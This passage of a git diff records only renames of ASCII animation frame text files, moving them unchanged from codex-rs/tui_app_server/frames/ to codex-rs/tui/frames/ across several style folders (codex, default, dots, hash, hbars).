a/codex-rs/tui_app_server/frames/codex/frame_9.txt b/codex-rs/tui/frames/codex/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_9.txt rename to codex-rs/tui/frames/codex/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_1.txt b/codex-rs/tui/frames/default/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_1.txt rename to codex-rs/tui/frames/default/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_10.txt b/codex-rs/tui/frames/default/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_10.txt rename to codex-rs/tui/frames/default/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_11.txt b/codex-rs/tui/frames/default/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_11.txt rename to codex-rs/tui/frames/default/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_12.txt b/codex-rs/tui/frames/default/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_12.txt rename to codex-rs/tui/frames/default/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_13.txt b/codex-rs/tui/frames/default/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_13.txt rename to codex-rs/tui/frames/default/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_14.txt b/codex-rs/tui/frames/default/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_14.txt rename to codex-rs/tui/frames/default/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_15.txt b/codex-rs/tui/frames/default/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_15.txt rename to codex-rs/tui/frames/default/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_16.txt b/codex-rs/tui/frames/default/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_16.txt rename to codex-rs/tui/frames/default/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_17.txt b/codex-rs/tui/frames/default/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_17.txt rename to codex-rs/tui/frames/default/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_18.txt b/codex-rs/tui/frames/default/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_18.txt rename to codex-rs/tui/frames/default/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_19.txt b/codex-rs/tui/frames/default/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_19.txt rename to codex-rs/tui/frames/default/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_2.txt b/codex-rs/tui/frames/default/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_2.txt rename to codex-rs/tui/frames/default/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_20.txt b/codex-rs/tui/frames/default/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_20.txt rename to codex-rs/tui/frames/default/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_21.txt b/codex-rs/tui/frames/default/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_21.txt rename to codex-rs/tui/frames/default/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_22.txt b/codex-rs/tui/frames/default/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_22.txt rename to codex-rs/tui/frames/default/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_23.txt b/codex-rs/tui/frames/default/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_23.txt rename to codex-rs/tui/frames/default/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_24.txt b/codex-rs/tui/frames/default/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_24.txt rename to codex-rs/tui/frames/default/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_25.txt b/codex-rs/tui/frames/default/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_25.txt rename to codex-rs/tui/frames/default/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_26.txt b/codex-rs/tui/frames/default/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_26.txt rename to codex-rs/tui/frames/default/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_27.txt b/codex-rs/tui/frames/default/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_27.txt rename to codex-rs/tui/frames/default/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_28.txt b/codex-rs/tui/frames/default/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_28.txt rename to codex-rs/tui/frames/default/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_29.txt b/codex-rs/tui/frames/default/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_29.txt rename to codex-rs/tui/frames/default/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_3.txt b/codex-rs/tui/frames/default/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_3.txt rename to codex-rs/tui/frames/default/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_30.txt b/codex-rs/tui/frames/default/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_30.txt rename to codex-rs/tui/frames/default/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_31.txt b/codex-rs/tui/frames/default/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_31.txt rename to codex-rs/tui/frames/default/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_32.txt b/codex-rs/tui/frames/default/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_32.txt rename to codex-rs/tui/frames/default/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_33.txt b/codex-rs/tui/frames/default/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_33.txt rename to codex-rs/tui/frames/default/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_34.txt b/codex-rs/tui/frames/default/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_34.txt rename to codex-rs/tui/frames/default/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_35.txt b/codex-rs/tui/frames/default/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_35.txt rename to codex-rs/tui/frames/default/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_36.txt b/codex-rs/tui/frames/default/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_36.txt rename to codex-rs/tui/frames/default/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_4.txt b/codex-rs/tui/frames/default/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_4.txt rename to codex-rs/tui/frames/default/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_5.txt b/codex-rs/tui/frames/default/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_5.txt rename to codex-rs/tui/frames/default/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_6.txt b/codex-rs/tui/frames/default/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_6.txt rename to codex-rs/tui/frames/default/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_7.txt b/codex-rs/tui/frames/default/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_7.txt rename to codex-rs/tui/frames/default/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_8.txt b/codex-rs/tui/frames/default/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_8.txt rename to codex-rs/tui/frames/default/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/default/frame_9.txt b/codex-rs/tui/frames/default/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/default/frame_9.txt rename to codex-rs/tui/frames/default/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_1.txt b/codex-rs/tui/frames/dots/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_1.txt rename to codex-rs/tui/frames/dots/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_10.txt b/codex-rs/tui/frames/dots/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_10.txt rename to codex-rs/tui/frames/dots/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_11.txt b/codex-rs/tui/frames/dots/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_11.txt rename to codex-rs/tui/frames/dots/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_12.txt b/codex-rs/tui/frames/dots/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_12.txt rename to codex-rs/tui/frames/dots/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_13.txt b/codex-rs/tui/frames/dots/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_13.txt rename to codex-rs/tui/frames/dots/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_14.txt b/codex-rs/tui/frames/dots/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_14.txt rename to codex-rs/tui/frames/dots/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_15.txt b/codex-rs/tui/frames/dots/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_15.txt rename to codex-rs/tui/frames/dots/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_16.txt b/codex-rs/tui/frames/dots/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_16.txt rename to codex-rs/tui/frames/dots/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_17.txt b/codex-rs/tui/frames/dots/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_17.txt rename to codex-rs/tui/frames/dots/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_18.txt b/codex-rs/tui/frames/dots/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_18.txt rename to codex-rs/tui/frames/dots/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_19.txt b/codex-rs/tui/frames/dots/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_19.txt rename to codex-rs/tui/frames/dots/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_2.txt b/codex-rs/tui/frames/dots/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_2.txt rename to codex-rs/tui/frames/dots/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_20.txt b/codex-rs/tui/frames/dots/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_20.txt rename to codex-rs/tui/frames/dots/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_21.txt b/codex-rs/tui/frames/dots/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_21.txt rename to codex-rs/tui/frames/dots/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_22.txt b/codex-rs/tui/frames/dots/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_22.txt rename to codex-rs/tui/frames/dots/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_23.txt b/codex-rs/tui/frames/dots/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_23.txt rename to codex-rs/tui/frames/dots/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_24.txt b/codex-rs/tui/frames/dots/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_24.txt rename to codex-rs/tui/frames/dots/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_25.txt b/codex-rs/tui/frames/dots/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_25.txt rename to codex-rs/tui/frames/dots/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_26.txt b/codex-rs/tui/frames/dots/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_26.txt rename to codex-rs/tui/frames/dots/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_27.txt b/codex-rs/tui/frames/dots/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_27.txt rename to codex-rs/tui/frames/dots/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_28.txt b/codex-rs/tui/frames/dots/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_28.txt rename to codex-rs/tui/frames/dots/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_29.txt b/codex-rs/tui/frames/dots/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_29.txt rename to codex-rs/tui/frames/dots/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_3.txt b/codex-rs/tui/frames/dots/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_3.txt rename to codex-rs/tui/frames/dots/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_30.txt b/codex-rs/tui/frames/dots/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_30.txt rename to codex-rs/tui/frames/dots/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_31.txt b/codex-rs/tui/frames/dots/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_31.txt rename to codex-rs/tui/frames/dots/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_32.txt b/codex-rs/tui/frames/dots/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_32.txt rename to codex-rs/tui/frames/dots/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_33.txt b/codex-rs/tui/frames/dots/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_33.txt rename to codex-rs/tui/frames/dots/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_34.txt b/codex-rs/tui/frames/dots/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_34.txt rename to codex-rs/tui/frames/dots/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_35.txt b/codex-rs/tui/frames/dots/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_35.txt rename to codex-rs/tui/frames/dots/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_36.txt b/codex-rs/tui/frames/dots/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_36.txt rename to codex-rs/tui/frames/dots/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_4.txt b/codex-rs/tui/frames/dots/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_4.txt rename to codex-rs/tui/frames/dots/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_5.txt b/codex-rs/tui/frames/dots/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_5.txt rename to codex-rs/tui/frames/dots/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_6.txt b/codex-rs/tui/frames/dots/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_6.txt rename to codex-rs/tui/frames/dots/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_7.txt b/codex-rs/tui/frames/dots/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_7.txt rename to codex-rs/tui/frames/dots/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_8.txt b/codex-rs/tui/frames/dots/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_8.txt rename to codex-rs/tui/frames/dots/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/dots/frame_9.txt b/codex-rs/tui/frames/dots/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/dots/frame_9.txt rename to codex-rs/tui/frames/dots/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_1.txt b/codex-rs/tui/frames/hash/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_1.txt rename to codex-rs/tui/frames/hash/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_10.txt b/codex-rs/tui/frames/hash/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_10.txt rename to codex-rs/tui/frames/hash/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_11.txt b/codex-rs/tui/frames/hash/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_11.txt rename to codex-rs/tui/frames/hash/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_12.txt b/codex-rs/tui/frames/hash/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_12.txt rename to codex-rs/tui/frames/hash/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_13.txt b/codex-rs/tui/frames/hash/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_13.txt rename to codex-rs/tui/frames/hash/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_14.txt b/codex-rs/tui/frames/hash/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_14.txt rename to codex-rs/tui/frames/hash/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_15.txt b/codex-rs/tui/frames/hash/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_15.txt rename to codex-rs/tui/frames/hash/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_16.txt b/codex-rs/tui/frames/hash/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_16.txt rename to codex-rs/tui/frames/hash/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_17.txt b/codex-rs/tui/frames/hash/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_17.txt rename to codex-rs/tui/frames/hash/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_18.txt b/codex-rs/tui/frames/hash/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_18.txt rename to codex-rs/tui/frames/hash/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_19.txt b/codex-rs/tui/frames/hash/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_19.txt rename to codex-rs/tui/frames/hash/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_2.txt b/codex-rs/tui/frames/hash/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_2.txt rename to codex-rs/tui/frames/hash/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_20.txt b/codex-rs/tui/frames/hash/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_20.txt rename to codex-rs/tui/frames/hash/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_21.txt b/codex-rs/tui/frames/hash/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_21.txt rename to codex-rs/tui/frames/hash/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_22.txt b/codex-rs/tui/frames/hash/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_22.txt rename to codex-rs/tui/frames/hash/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_23.txt b/codex-rs/tui/frames/hash/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_23.txt rename to codex-rs/tui/frames/hash/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_24.txt b/codex-rs/tui/frames/hash/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_24.txt rename to codex-rs/tui/frames/hash/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_25.txt b/codex-rs/tui/frames/hash/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_25.txt rename to codex-rs/tui/frames/hash/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_26.txt b/codex-rs/tui/frames/hash/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_26.txt rename to codex-rs/tui/frames/hash/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_27.txt b/codex-rs/tui/frames/hash/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_27.txt rename to codex-rs/tui/frames/hash/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_28.txt b/codex-rs/tui/frames/hash/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_28.txt rename to codex-rs/tui/frames/hash/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_29.txt b/codex-rs/tui/frames/hash/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_29.txt rename to codex-rs/tui/frames/hash/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_3.txt b/codex-rs/tui/frames/hash/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_3.txt rename to codex-rs/tui/frames/hash/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_30.txt b/codex-rs/tui/frames/hash/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_30.txt rename to codex-rs/tui/frames/hash/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_31.txt b/codex-rs/tui/frames/hash/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_31.txt rename to codex-rs/tui/frames/hash/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_32.txt b/codex-rs/tui/frames/hash/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_32.txt rename to codex-rs/tui/frames/hash/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_33.txt b/codex-rs/tui/frames/hash/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_33.txt rename to codex-rs/tui/frames/hash/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_34.txt b/codex-rs/tui/frames/hash/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_34.txt rename to codex-rs/tui/frames/hash/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_35.txt b/codex-rs/tui/frames/hash/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_35.txt rename to codex-rs/tui/frames/hash/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_36.txt b/codex-rs/tui/frames/hash/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_36.txt rename to codex-rs/tui/frames/hash/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_4.txt b/codex-rs/tui/frames/hash/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_4.txt rename to codex-rs/tui/frames/hash/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_5.txt b/codex-rs/tui/frames/hash/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_5.txt rename to codex-rs/tui/frames/hash/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_6.txt b/codex-rs/tui/frames/hash/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_6.txt rename to codex-rs/tui/frames/hash/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_7.txt b/codex-rs/tui/frames/hash/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_7.txt rename to codex-rs/tui/frames/hash/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_8.txt b/codex-rs/tui/frames/hash/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_8.txt rename to codex-rs/tui/frames/hash/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/hash/frame_9.txt b/codex-rs/tui/frames/hash/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hash/frame_9.txt rename to codex-rs/tui/frames/hash/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_1.txt b/codex-rs/tui/frames/hbars/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_1.txt rename to codex-rs/tui/frames/hbars/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_10.txt b/codex-rs/tui/frames/hbars/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_10.txt rename to codex-rs/tui/frames/hbars/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_11.txt b/codex-rs/tui/frames/hbars/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_11.txt rename to codex-rs/tui/frames/hbars/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_12.txt b/codex-rs/tui/frames/hbars/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_12.txt rename to codex-rs/tui/frames/hbars/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_13.txt b/codex-rs/tui/frames/hbars/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_13.txt rename to codex-rs/tui/frames/hbars/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_14.txt b/codex-rs/tui/frames/hbars/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_14.txt rename to codex-rs/tui/frames/hbars/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_15.txt b/codex-rs/tui/frames/hbars/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_15.txt rename to codex-rs/tui/frames/hbars/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_16.txt b/codex-rs/tui/frames/hbars/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_16.txt rename to codex-rs/tui/frames/hbars/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_17.txt b/codex-rs/tui/frames/hbars/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_17.txt rename to codex-rs/tui/frames/hbars/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_18.txt b/codex-rs/tui/frames/hbars/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_18.txt rename to codex-rs/tui/frames/hbars/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_19.txt b/codex-rs/tui/frames/hbars/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_19.txt rename to codex-rs/tui/frames/hbars/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_2.txt b/codex-rs/tui/frames/hbars/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_2.txt rename to codex-rs/tui/frames/hbars/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_20.txt b/codex-rs/tui/frames/hbars/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_20.txt rename to codex-rs/tui/frames/hbars/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_21.txt b/codex-rs/tui/frames/hbars/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_21.txt rename to codex-rs/tui/frames/hbars/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_22.txt b/codex-rs/tui/frames/hbars/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_22.txt rename to codex-rs/tui/frames/hbars/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_23.txt b/codex-rs/tui/frames/hbars/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_23.txt rename to codex-rs/tui/frames/hbars/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_24.txt b/codex-rs/tui/frames/hbars/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_24.txt rename to codex-rs/tui/frames/hbars/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_25.txt b/codex-rs/tui/frames/hbars/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_25.txt rename to codex-rs/tui/frames/hbars/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_26.txt b/codex-rs/tui/frames/hbars/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_26.txt rename to codex-rs/tui/frames/hbars/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/hbars/frame_27.txt b/codex-rs/tui/frames/hbars/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/hbars/frame_27.txt 